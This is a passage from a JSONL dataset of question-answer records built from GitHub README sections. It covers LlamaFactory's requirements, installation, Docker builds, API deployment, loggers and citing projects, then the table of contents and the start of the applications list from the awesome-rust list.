"2026-01-16T23:27:39.766773"}
{"id": "gh_398875abd662", "question": "How to: Requirement", "question_body": "About hiyouga/LlamaFactory", "answer": "| Mandatory    | Minimum | Recommend |\n| ------------ | ------- | --------- |\n| python       | 3.9     | 3.10      |\n| torch        | 2.0.0   | 2.6.0     |\n| torchvision  | 0.15.0  | 0.21.0    |\n| transformers | 4.49.0  | 4.50.0    |\n| datasets     | 2.16.0  | 3.2.0     |\n| accelerate   | 0.34.0  | 1.2.1     |\n| peft         | 0.14.0  | 0.15.1    |\n| trl          | 0.8.6   | 0.9.6     |\n\n| Optional     | Minimum | Recommend |\n| ------------ | ------- | --------- |\n| CUDA         | 11.6    | 12.2      |\n| deepspeed    | 0.10.0  | 0.16.4    |\n| bitsandbytes | 0.39.0  | 0.43.1    |\n| vllm         | 0.4.3   | 0.8.2     |\n| flash-attn   | 2.5.6   | 2.7.2     |", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766781"}
{"id": "gh_75b1c6d8b87b", "question": "How to: Hardware Requirement", "question_body": "About hiyouga/LlamaFactory", "answer": "\\* *estimated*\n\n| Method                              | Bits |   7B  |  14B  |  30B  |   70B  |   `x`B  |\n| ----------------------------------- | ---- | ----- | ----- | ----- | ------ | ------- |\n| Full (`bf16` or `fp16`)             |  32  | 120GB | 240GB | 600GB | 1200GB | `18x`GB |\n| Full (`pure_bf16`)                  |  16  |  60GB | 120GB | 300GB |  600GB |  `8x`GB |\n| Freeze/LoRA/GaLore/APOLLO/BAdam/OFT |  16  |  16GB |  32GB |  64GB |  160GB |  `2x`GB |\n| QLoRA / QOFT                        |   8  |  10GB |  20GB |  40GB |   80GB |   `x`GB |\n| QLoRA / QOFT                        |   4  |   6GB |  12GB |  24GB |   48GB | `x/2`GB |\n| QLoRA / QOFT                        |   2  |   4GB |   8GB |  16GB |   24GB | `x/4`GB |", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766786"}
{"id": "gh_a45978f40372", "question": "How to: Installation", "question_body": "About hiyouga/LlamaFactory", "answer": "> [!IMPORTANT]\n> Installation is mandatory.\n\n#### Install from Source\n\n```bash\ngit clone --depth 1 https://github.com/hiyouga/LlamaFactory.git\ncd LlamaFactory\npip install -e .\npip install -r requirements/metrics.txt\n```\n\nOptional dependencies available: `metrics`, `deepspeed`. Install with: `pip install -e . && pip install -r requirements/metrics.txt -r requirements/deepspeed.txt`\n\nAdditional dependencies for specific features are available in `examples/requirements/`.\n\n#### Install from Docker Image\n\n```bash\ndocker run -it --rm --gpus=all --ipc=host hiyouga/llamafactory:latest\n```\n\nThis image is built on Ubuntu 22.04 (x86\\_64), CUDA 12.4, Python 3.11, PyTorch 2.6.0, and Flash-attn 2.7.4.\n\nFind the pre-built images: https://hub.docker.com/r/hiyouga/llamafactory/tags\n\nPlease refer to [build docker](#build-docker) to build the image yourself.\nSetting up a virtual environment with\nuv\nCreate an isolated Python environment with [uv](https://github.com/astral-sh/uv):\n\n```bash\nuv run llamafactory-cli webui\n```\nFor Windows users\n#### Install PyTorch\n\nYou need to manually install the GPU version of PyTorch on the Windows platform. Please refer to the [official website](https://pytorch.org/get-started/locally/) and the following command to install PyTorch with CUDA support:\n\n```bash\npip uninstall torch torchvision torchaudio\npip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu126\npython -c \"import torch; print(torch.cuda.is_available())\"\n```\n\nIf you see `True` then you have successfully installed PyTorch with CUDA support.\n\nTry `dataloader_num_workers: 0` if you encounter `Can't pickle local object` error.\n\n#### Install BitsAndBytes\n\nIf you want to enable the quantized LoRA (QLoRA) on the Windows platform, you need to install a pre-built version of `bitsandbytes` library, which supports CUDA 11.1 to 12.2, please select the appropriate [release version](https://github.com/jllllll/bitsandbytes-windows-webui/releases/tag/wheels) based on your CUDA version.\n\n```bash\npip install https://github.com/jllllll/bitsandbytes-windows-webui/releases/download/wheels/bitsandbytes-0.41.2.post2-py3-none-win_amd64.whl\n```\n\n#### Install Flash Attention-2\n\nTo enable FlashAttention-2 on the Windows platform, please use the script from [flash-attention-windows-wheel](https://huggingface.co/lldacing/flash-attention-windows-wheel) to compile and install it by yourself.\nFor Ascend NPU users\nTo install LLaMA Factory on Ascend NPU devices, please upgrade Python to version 3.10 or higher: `pip install -r requirements/npu.txt`. Additionally, you need to install the **Ascend CANN Toolkit and Kernels**. Please follow the [installation tutorial](https://llamafactory.readthedocs.io/en/latest/advanced/npu_installation.html).\n\nYou can also download the pre-built Docker images:\n\n```bash", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766796"}
{"id": "gh_d95496b2ac80", "question": "How to: Docker Hub", "question_body": "About hiyouga/LlamaFactory", "answer": "docker pull hiyouga/llamafactory:latest-npu-a2\ndocker pull hiyouga/llamafactory:latest-npu-a3", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 65892, "answer_score": 10, "has_code": false, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766801"}
{"id": "gh_c8cb27eda943", "question": "How to: Clone bitsandbytes repo, Ascend NPU backend is currently enabled on multi-backend-refactor branch", "question_body": "About hiyouga/LlamaFactory", "answer": "git clone -b multi-backend-refactor https://github.com/bitsandbytes-foundation/bitsandbytes.git\ncd bitsandbytes/", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 65892, "answer_score": 10, "has_code": false, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766808"}
{"id": "gh_389ec03d9bc9", "question": "How to: Compile & install", "question_body": "About hiyouga/LlamaFactory", "answer": "cmake -DCOMPUTE_BACKEND=npu -S .\nmake\npip install .\n```\n\n2. Install transformers from the main branch.\n\n```bash\ngit clone -b main https://github.com/huggingface/transformers.git\ncd transformers\npip install .\n```\n\n3. Set `double_quantization: false` in the configuration. You can refer to the [example](examples/train_qlora/qwen3_lora_sft_bnb_npu.yaml).", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766814"}
{"id": "gh_5f5bb558097c", "question": "How to: Data Preparation", "question_body": "About hiyouga/LlamaFactory", "answer": "Please refer to [data/README.md](data/README.md) for checking the details about the format of dataset files. You can use datasets on HuggingFace / ModelScope / Modelers hub, load the dataset in local disk, or specify a path to s3/gcs cloud storage.\n\n> [!NOTE]\n> Please update `data/dataset_info.json` to use your custom dataset.\n\nYou can also use **[Easy Dataset](https://github.com/ConardLi/easy-dataset)**, **[DataFlow](https://github.com/OpenDCAI/DataFlow)** and **[GraphGen](https://github.com/open-sciencelab/GraphGen)** to create synthetic data for fine-tuning.", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 65892, "answer_score": 10, "has_code": false, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766820"}
{"id": "gh_9d5afd687538", "question": "How to: Quickstart", "question_body": "About hiyouga/LlamaFactory", "answer": "Use the following 3 commands to run LoRA **fine-tuning**, **inference** and **merging** of the Qwen3-4B-Instruct model, respectively.\n\n```bash\nllamafactory-cli train examples/train_lora/qwen3_lora_sft.yaml\nllamafactory-cli chat examples/inference/qwen3_lora_sft.yaml\nllamafactory-cli export examples/merge_lora/qwen3_lora_sft.yaml\n```\n\nSee [examples/README.md](examples/README.md) for advanced usage (including distributed training).\n\n> [!TIP]\n> Use `llamafactory-cli help` to show help information.\n>\n> Read [FAQs](https://github.com/hiyouga/LLaMA-Factory/issues/4614) first if you encounter any problems.", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766825"}
{"id": "gh_419afe784971", "question": "How to: LLaMA Factory Online", "question_body": "About hiyouga/LlamaFactory", "answer": "Read our [documentation](https://docs.llamafactory.com.cn/docs/documents/quickstart/getstarted/?utm_source=LLaMA-Factory).", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 65892, "answer_score": 10, "has_code": false, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766830"}
{"id": "gh_9f30a13b17ca", "question": "How to: Build Docker", "question_body": "About hiyouga/LlamaFactory", "answer": "For CUDA users:\n\n```bash\ncd docker/docker-cuda/\ndocker compose up -d\ndocker compose exec llamafactory bash\n```\n\nFor Ascend NPU users:\n\n```bash\ncd docker/docker-npu/\ndocker compose up -d\ndocker compose exec llamafactory bash\n```\n\nFor AMD ROCm users:\n\n```bash\ncd docker/docker-rocm/\ndocker compose up -d\ndocker compose exec llamafactory bash\n```\nBuild without Docker Compose\nFor CUDA users:\n\n```bash\ndocker build -f ./docker/docker-cuda/Dockerfile \\\n    --build-arg PIP_INDEX=https://pypi.org/simple \\\n    -t llamafactory:latest .\n\ndocker run -dit --ipc=host --gpus=all \\\n    -p 7860:7860 \\\n    -p 8000:8000 \\\n    --name llamafactory \\\n    llamafactory:latest\n\ndocker exec -it llamafactory bash\n```\n\nFor Ascend NPU users:\n\n```bash\ndocker build -f ./docker/docker-npu/Dockerfile \\\n    --build-arg PIP_INDEX=https://pypi.org/simple \\\n    -t llamafactory:latest .\n\ndocker run -dit --ipc=host \\\n    -v /usr/local/dcmi:/usr/local/dcmi \\\n    -v /usr/local/bin/npu-smi:/usr/local/bin/npu-smi \\\n    -v /usr/local/Ascend/driver:/usr/local/Ascend/driver \\\n    -v /etc/ascend_install.info:/etc/ascend_install.info \\\n    -p 7860:7860 \\\n    -p 8000:8000 \\\n    --device /dev/davinci0 \\\n    --device /dev/davinci_manager \\\n    --device /dev/devmm_svm \\\n    --device /dev/hisi_hdc \\\n    --name llamafactory \\\n    llamafactory:latest\n\ndocker exec -it llamafactory bash\n```\n\nFor AMD ROCm users:\n\n```bash\ndocker build -f ./docker/docker-rocm/Dockerfile \\\n    --build-arg PIP_INDEX=https://pypi.org/simple \\\n    -t llamafactory:latest .\n\ndocker run -dit --ipc=host \\\n    -p 7860:7860 \\\n    -p 8000:8000 \\\n    --device /dev/kfd \\\n    --device /dev/dri \\\n    --name llamafactory \\\n    llamafactory:latest\n\ndocker exec -it llamafactory bash\n```\nUse Docker volumes\nYou can uncomment `VOLUME [ \"/root/.cache/huggingface\", \"/app/shared_data\", \"/app/output\" ]` in the Dockerfile to use data volumes.\n\nWhen building the Docker image, use `-v ./hf_cache:/root/.cache/huggingface` argument to mount the local directory to the container. The following data volumes are available.\n\n- `hf_cache`: Utilize Hugging Face cache on the host machine.\n- `shared_data`: The directionary to store datasets on the host machine.\n- `output`: Set export dir to this location so that the merged result can be accessed directly on the host machine.", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766843"}
{"id": "gh_6587ec928263", "question": "How to: Deploy with OpenAI-style API and vLLM", "question_body": "About hiyouga/LlamaFactory", "answer": "```bash\nAPI_PORT=8000 llamafactory-cli api examples/inference/qwen3.yaml infer_backend=vllm vllm_enforce_eager=true\n```\n\n> [!TIP]\n> Visit [this page](https://platform.openai.com/docs/api-reference/chat/create) for API document.\n>\n> Examples: [Image understanding](scripts/api_example/test_image.py) | [Function calling](scripts/api_example/test_toolcall.py)", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766849"}
{"id": "gh_23af0ede194a", "question": "How to: Download from ModelScope Hub", "question_body": "About hiyouga/LlamaFactory", "answer": "If you have trouble with downloading models and datasets from Hugging Face, you can use ModelScope.\n\n```bash\nexport USE_MODELSCOPE_HUB=1 # `set USE_MODELSCOPE_HUB=1` for Windows\n```\n\nTrain the model by specifying a model ID of the ModelScope Hub as the `model_name_or_path`. You can find a full list of model IDs at [ModelScope Hub](https://modelscope.cn/models), e.g., `LLM-Research/Meta-Llama-3-8B-Instruct`.", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766854"}
{"id": "gh_4bb4968c6b60", "question": "How to: Download from Modelers Hub", "question_body": "About hiyouga/LlamaFactory", "answer": "You can also use Modelers Hub to download models and datasets.\n\n```bash\nexport USE_OPENMIND_HUB=1 # `set USE_OPENMIND_HUB=1` for Windows\n```\n\nTrain the model by specifying a model ID of the Modelers Hub as the `model_name_or_path`. You can find a full list of model IDs at [Modelers Hub](https://modelers.cn/models), e.g., `TeleAI/TeleChat-7B-pt`.", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766858"}
{"id": "gh_e7830594b3cd", "question": "How to: Use W&B Logger", "question_body": "About hiyouga/LlamaFactory", "answer": "To use [Weights & Biases](https://wandb.ai) for logging experimental results, you need to add the following arguments to yaml files.\n\n```yaml\nreport_to: wandb\nrun_name: test_run # optional\n```\n\nSet `WANDB_API_KEY` to [your key](https://wandb.ai/authorize) when launching training tasks to log in with your W&B account.", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766863"}
{"id": "gh_a2e86bd77471", "question": "How to: Use SwanLab Logger", "question_body": "About hiyouga/LlamaFactory", "answer": "To use [SwanLab](https://github.com/SwanHubX/SwanLab) for logging experimental results, you need to add the following arguments to yaml files.\n\n```yaml\nuse_swanlab: true\nswanlab_run_name: test_run # optional\n```\n\nWhen launching training tasks, you can log in to SwanLab in three ways:\n\n1. Add `swanlab_api_key=\n` to the yaml file, and set it to your [API key](https://swanlab.cn/settings).\n2. Set the environment variable `SWANLAB_API_KEY` to your [API key](https://swanlab.cn/settings).\n3. Use the `swanlab login` command to complete the login.", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 65892, "answer_score": 10, "has_code": true, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766868"}
{"id": "gh_a3790dc7e31a", "question": "How to: Projects using LLaMA Factory", "question_body": "About hiyouga/LlamaFactory", "answer": "If you have a project that should be incorporated, please contact via email or create a pull request.\nClick to show\n1. Wang et al. ESRL: Efficient Sampling-based Reinforcement Learning for Sequence Generation. 2023. [[arxiv]](https://arxiv.org/abs/2308.02223)\n1. Yu et al. Open, Closed, or Small Language Models for Text Classification? 2023. [[arxiv]](https://arxiv.org/abs/2308.10092)\n1. Wang et al. UbiPhysio: Support Daily Functioning, Fitness, and Rehabilitation with Action Understanding and Feedback in Natural Language. 2023. [[arxiv]](https://arxiv.org/abs/2308.10526)\n1. Luceri et al. Leveraging Large Language Models to Detect Influence Campaigns in Social Media. 2023. [[arxiv]](https://arxiv.org/abs/2311.07816)\n1. Zhang et al. Alleviating Hallucinations of Large Language Models through Induced Hallucinations. 2023. [[arxiv]](https://arxiv.org/abs/2312.15710)\n1. Wang et al. Know Your Needs Better: Towards Structured Understanding of Marketer Demands with Analogical Reasoning Augmented LLMs. KDD 2024. [[arxiv]](https://arxiv.org/abs/2401.04319)\n1. Wang et al. CANDLE: Iterative Conceptualization and Instantiation Distillation from Large Language Models for Commonsense Reasoning. ACL 2024. [[arxiv]](https://arxiv.org/abs/2401.07286)\n1. Choi et al. FACT-GPT: Fact-Checking Augmentation via Claim Matching with LLMs. 2024. [[arxiv]](https://arxiv.org/abs/2402.05904)\n1. Zhang et al. AutoMathText: Autonomous Data Selection with Language Models for Mathematical Texts. 2024. [[arxiv]](https://arxiv.org/abs/2402.07625)\n1. Lyu et al. KnowTuning: Knowledge-aware Fine-tuning for Large Language Models. 2024. [[arxiv]](https://arxiv.org/abs/2402.11176)\n1. Yang et al. LaCo: Large Language Model Pruning via Layer Collaps. 2024. [[arxiv]](https://arxiv.org/abs/2402.11187)\n1. Bhardwaj et al. Language Models are Homer Simpson! Safety Re-Alignment of Fine-tuned Language Models through Task Arithmetic. 2024. [[arxiv]](https://arxiv.org/abs/2402.11746)\n1. Yang et al. Enhancing Empathetic Response Generation by Augmenting LLMs with Small-scale Empathetic Models. 2024. [[arxiv]](https://arxiv.org/abs/2402.11801)\n1. Yi et al. Generation Meets Verification: Accelerating Large Language Model Inference with Smart Parallel Auto-Correct Decoding. ACL 2024 Findings. [[arxiv]](https://arxiv.org/abs/2402.11809)\n1. Cao et al. Head-wise Shareable Attention for Large Language Models. 2024. [[arxiv]](https://arxiv.org/abs/2402.11819)\n1. Zhang et al. Enhancing Multilingual Capabilities of Large Language Models through Self-Distillation from Resource-Rich Languages. 2024. [[arxiv]](https://arxiv.org/abs/2402.12204)\n1. Kim et al. Efficient and Effective Vocabulary Expansion Towards Multilingual Large Language Models. 2024. [[arxiv]](https://arxiv.org/abs/2402.14714)\n1. Yu et al. KIEval: A Knowledge-grounded Interactive Evaluation Framework for Large Language Models. ACL 2024. [[arxiv]](https://arxiv.org/abs/2402.15043)\n1. Huang et al. Key-Point-Driven Data Synthesis with its Enhancement on Mathematical Reasoning. 2024. [[arxiv]](https://arxiv.org/abs/2403.02333)\n1. Duan et al. Negating Negatives: Alignment without Human Positive Samples via Distributional Dispreference Optimization. 2024. [[arxiv]](https://arxiv.org/abs/2403.03419)\n1. Xie and Schwertfeger. Empowering Robotics with Large Language Models: osmAG Map Comprehension with LLMs. 2024. [[arxiv]](https://arxiv.org/abs/2403.08228)\n1. Wu et al. Large Language Models are Parallel Multilingual Learners. 2024. [[arxiv]](https://arxiv.org/abs/2403.09073)\n1. Zhang et al. EDT: Improving Large Language Models' Generation by Entropy-based Dynamic Temperature Sampling. 2024. [[arxiv]](https://arxiv.org/abs/2403.14541)\n1. Weller et al. FollowIR: Evaluating and Teaching Information Retrieval Models to Follow Instructions. 2024. [[arxiv]](https://arxiv.org/abs/2403.15246)\n1. Hongbin Na. CBT-LLM: A Chinese Large Language Model for Cognitive Behavioral Therapy-based Mental Health Question Answering. COLING 2024. [[arxiv]](https://arxiv.org/abs/2403.16008)\n1. Zan et al. CodeS: Natural Language to Code Repository via Multi-Layer Sketch. 2024. [[arxiv]](https://arxiv.org/abs/2403.16443)\n1. Liu et al. Extensive Self-Contrast Enables Feedback-Free Language Model Alignment. 2024. [[arxiv]](https://arxiv.org/abs/2404.00604)\n1. Luo et al. BAdam: A Memory Efficient Full Parameter Training Method for Large Language Models. 2024. [[arxiv]](https://arxiv.org/abs/2404.02827)\n1. Du et al. Chinese Tiny LLM: Pretraining a Chinese-Centric Large Language Model. 2024. [[arxiv]](https://arxiv.org/abs/2404.04167)\n1. Ma et al. Parameter Efficient Quasi-Orthogonal Fine-Tuning via Givens Rotation. ICML 2024. [[arxiv]](https://arxiv.org/abs/2404.04316)\n1. Liu et al. Dynamic Generation of Personalities with Large Language Models. 2024. [[arxiv]](https://arxiv.org/abs/2404.07084)\n1. Shang et al. How Far Have We Gone in Stripped Binary Code Understanding Using Large Language Models. 2024. [[arxiv]](http", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 65892, "answer_score": 10, "has_code": false, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766899"}
{"id": "gh_08d95b44c12d", "question": "How to: Acknowledgement", "question_body": "About hiyouga/LlamaFactory", "answer": "This repo benefits from [PEFT](https://github.com/huggingface/peft), [TRL](https://github.com/huggingface/trl), [QLoRA](https://github.com/artidoro/qlora) and [FastChat](https://github.com/lm-sys/FastChat). Thanks for their wonderful works.", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 65892, "answer_score": 10, "has_code": false, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766906"}
{"id": "gh_53193b64693f", "question": "How to: Star History", "question_body": "About hiyouga/LlamaFactory", "answer": "![Star History Chart](https://api.star-history.com/svg?repos=hiyouga/LLaMA-Factory&type=Date)", "tags": ["hiyouga"], "source": "github_gists", "category": "hiyouga", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 65892, "answer_score": 10, "has_code": false, "url": "https://github.com/hiyouga/LlamaFactory", "collected_at": "2026-01-16T23:27:39.766911"}
{"id": "gh_9d431bed5f73", "question": "How to: Table of contents", "question_body": "About rust-unofficial/awesome-rust", "answer": "- [Applications](#applications)\n  * [Audio and Music](#audio-and-music)\n  * [Blockchain](#blockchain)\n  * [Database](#database)\n  * [Embedded](#embedded)\n  * [Emulators](#emulators)\n  * [File manager](#file-manager)\n  * [Finance](#finance)\n  * [Games](#games)\n  * [Graphics](#graphics)\n  * [Image processing](#image-processing)\n  * [Industrial automation](#industrial-automation)\n  * [Message Queue](#message-queue)\n  * [MLOps](#mlops)\n  * [Observability](#observability)\n  * [Operating systems](#operating-systems)\n  * [Package Managers](#package-managers)\n  * [Payments](#payments)\n  * [Productivity](#productivity)\n  * [Routing protocols](#routing-protocols)\n  * [Security tools](#security-tools)\n  * [Social networks](#social-networks)\n  * [System tools](#system-tools)\n  * [Task scheduling](#task-scheduling)\n  * [Text editors](#text-editors)\n  * [Text processing](#text-processing)\n  * [Utilities](#utilities)\n  * [Video](#video)\n  * [Virtualization](#virtualization)\n  * [Web](#web)\n  * [Web Servers](#web-servers)\n  * [Workflow Automation](#workflow-automation)\n- [Development tools](#development-tools)\n  * [Build system](#build-system)\n  * [Debugging](#debugging)\n  * [Deployment](#deployment)\n  * [Embedded](#embedded-1)\n  * [FFI](#ffi)\n  * [Formatters](#formatters)\n  * [IDEs](#ides)\n  * [Profiling](#profiling)\n  * [Services](#services)\n  * [Static analysis](#static-analysis)\n  * [Testing](#testing)\n  * [Transpiling](#transpiling)\n- [Libraries](#libraries)\n  * [Artificial Intelligence](#artificial-intelligence)\n    + [Genetic algorithms](#genetic-algorithms)\n    + [Machine learning](#machine-learning)\n    + [OpenAI](#openai)\n    + [Tooling](#tooling)\n  * [Astronomy](#astronomy)\n  * [Asynchronous](#asynchronous)\n  * [Audio and Music](#audio-and-music-1)\n  * [Authentication](#authentication)\n  * [Automotive](#automotive)\n  * [Bioinformatics](#bioinformatics)\n  * [Caching](#caching)\n  * [Cloud](#cloud)\n  * [Command-line](#command-line)\n  * [Compression](#compression)\n  * [Computation](#computation)\n  * [Concurrency](#concurrency)\n  * [Configuration](#configuration)\n  * [Cryptography](#cryptography)\n  * [Data processing](#data-processing)\n  * [Data streaming](#data-streaming)\n  * [Data structures](#data-structures)\n  * [Data visualization](#data-visualization)\n  * [Database](#database-1)\n  * [Date and time](#date-and-time)\n  * [Distributed systems](#distributed-systems)\n  * [Domain driven design](#domain-driven-design)\n  * [eBPF](#ebpf)\n  * [Email](#email)\n  * [Encoding](#encoding)\n  * [Filesystem](#filesystem)\n  * [Finance](#finance-1)\n  * [Functional Programming](#functional-programming)\n  * [Game development](#game-development)\n  * [Geospatial](#geospatial)\n  * [Graph algorithms](#graph-algorithms)\n  * [Graphics](#graphics-1)\n  * [GUI](#gui)\n  * [Image processing](#image-processing-1)\n  * [Language specification](#language-specification)\n  * [Licensing](#licensing)\n  * [Logging](#logging)\n  * [Macro](#macro)\n  * [Markup language](#markup-language)\n  * [Mobile](#mobile)\n  * [Network programming](#network-programming)\n  * [Parsing](#parsing)\n  * [Peripherals](#peripherals)\n  * [Platform specific](#platform-specific)\n  * [Reverse engineering](#reverse-engineering)\n  * [Scripting](#scripting)\n  * [Simulation](#simulation)\n  * [Social networks](#social-networks-1)\n  * [System](#system)\n  * [Task scheduling](#task-scheduling-1)\n  * [Template engine](#template-engine)\n  * [Text processing](#text-processing-1)\n  * [Text search](#text-search)\n  * [Unsafe](#unsafe)\n  * [Video](#video-1)\n  * [Virtualization](#virtualization-1)\n  * [Web programming](#web-programming)\n- [Registries](#registries)\n- [Resources](#resources)\n- [License](#license)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55036, "answer_score": 10, "has_code": true, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312814"}
{"id": "gh_428d04959743", "question": "How to: Applications", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [alacritty](https://github.com/alacritty/alacritty) - A cross-platform, GPU enhanced terminal emulator\n* [Andromeda](https://github.com/tryandromeda/andromeda) - JavaScript & TypeScript runtime built from the ground up in Rust 🦀 and powered by The Nova Engine.\n* [Arti](https://gitlab.torproject.org/tpo/core/arti) - An implementation of Tor. (So far, it's a not-very-complete client. But watch this space!) [![Crates.io](https://img.shields.io/crates/v/arti.svg)](https://crates.io/crates/arti)\n* [asm-cli-rust](https://github.com/cch123/asm-cli-rust) - An interactive assembly shell.\n* [clash-verge-rev/clash-verge-rev](https://github.com/clash-verge-rev/clash-verge-rev) - A cross-platform, modern Clash GUI based on tauri & rust, supporting Windows, macOS, and Linux.\n* [cloudflare/boringtun](https://github.com/cloudflare/boringtun) - A Userspace WireGuard VPN Implementation [![build badge](https://img.shields.io/crates/v/boringtun.svg)](https://crates.io/crates/boringtun)\n* [defguard](https://github.com/defguard/defguard) - Enterprise Open Source SSO & WireGuard VPN with real 2FA/MFA\n* [denoland/deno](https://github.com/denoland/deno) - A secure JavaScript/TypeScript runtime built with V8 and Tokio [![Build Status](https://github.com/denoland/deno/actions/workflows/ci.yml/badge.svg)](https://github.com/denoland/deno/actions)\n* [doprz/dipc](https://github.com/doprz/dipc) - Convert your favorite images and wallpapers with your favorite color palettes/themes [![crates.io](https://img.shields.io/crates/v/dipc)](https://crates.io/crates/dipc)\n* [EasyTier](https://github.com/EasyTier/EasyTier) - A simple, full-featured and decentralized mesh VPN with WireGuard support. [![crates.io](https://img.shields.io/crates/v/easytier)](https://crates.io/crates/easytier) [![GitHub actions](https://github.com/EasyTier/EasyTier/actions/workflows/core.yml/badge.svg)](https://github.com/EasyTier/EasyTier/actions/)[![GitHub actions](https://github.com/EasyTier/EasyTier/actions/workflows/gui.yml/badge.svg)](https://github.com/EasyTier/EasyTier/actions/)\n* [Edit](https://github.com/microsoft/edit) - A simple editor for simple needs. [![CI](https://github.com/microsoft/edit/actions/workflows/ci.yml/badge.svg)](https://github.com/microsoft/edit/actions/workflows/ci.yml)\n* [fcsonline/drill](https://github.com/fcsonline/drill) - A HTTP load testing application inspired by Ansible syntax\n* [fend](https://github.com/printfn/fend) - Arbitrary-precision unit-aware calculator [![build](https://github.com/printfn/fend/workflows/build/badge.svg)](https://github.com/printfn/fend/actions/workflows/actions.yml)\n* [Fractalide](https://github.com/fractalide/fractalide) - Simple microservices\n* [habitat](https://github.com/habitat-sh/habitat) - A tool created by Chef to build, deploy, and manage applications.\n* [Herd](https://github.com/imjacobclark/Herd) - an experimental HTTP load testing application\n* [hickory-dns](https://crates.io/crates/hickory-dns) - A DNS-server [![Build Status](https://github.com/hickory-dns/hickory-dns/actions/workflows/test.yml/badge.svg)](https://github.com/hickory-dns/hickory-dns/actions?query=workflow%3Atest)\n* [innernet](https://github.com/tonarino/innernet) - An overlay or private mesh network that uses Wireguard under the hood\n* [jedisct1/flowgger](https://github.com/awslabs/flowgger) - A fast, simple and lightweight data collector\n* [kalker](https://github.com/PaddiM8/kalker) - A scientific calculator that supports math-like syntax with user-defined variables, functions, derivation, integration, and complex numbers. Cross-platform + WASM support [![Build Status](https://github.com/PaddiM8/kalker/workflows/Release/badge.svg)](https://github.com/PaddiM8/kalker/actions)\n* [kftray](https://github.com/hcavarsan/kftray) - A cross-platform system tray app for managing and sharing multiple kubectl port-forward configurations. [![Build Status](https://github.com/hcavarsan/kftray/workflows/Release/badge.svg)](https://github.com/hcavarsan/kftray/actions)\n* [kytan](https://github.com/changlan/kytan) - High Performance Peer-to-Peer VPN\n* [linkerd/linkerd2-proxy](https://github.com/linkerd/linkerd2-proxy) - Ultralight service mesh for Kubernetes.\n* [MaidSafe](https://github.com/maidsafe) - A decentralized platform.\n* [mdBook](https://github.com/rust-lang/mdBook) - A command line utility to create books from markdown files [![Build Status](https://github.com/rust-lang/mdBook/actions/workflows/main.yml/badge.svg)](https://github.com/rust-lang/mdBook/actions)\n* [Mega](https://github.com/web3infra-foundation/mega) - A monorepo & monolithic codebase management system that supports Git, also is an unofficial open source implementation of Google 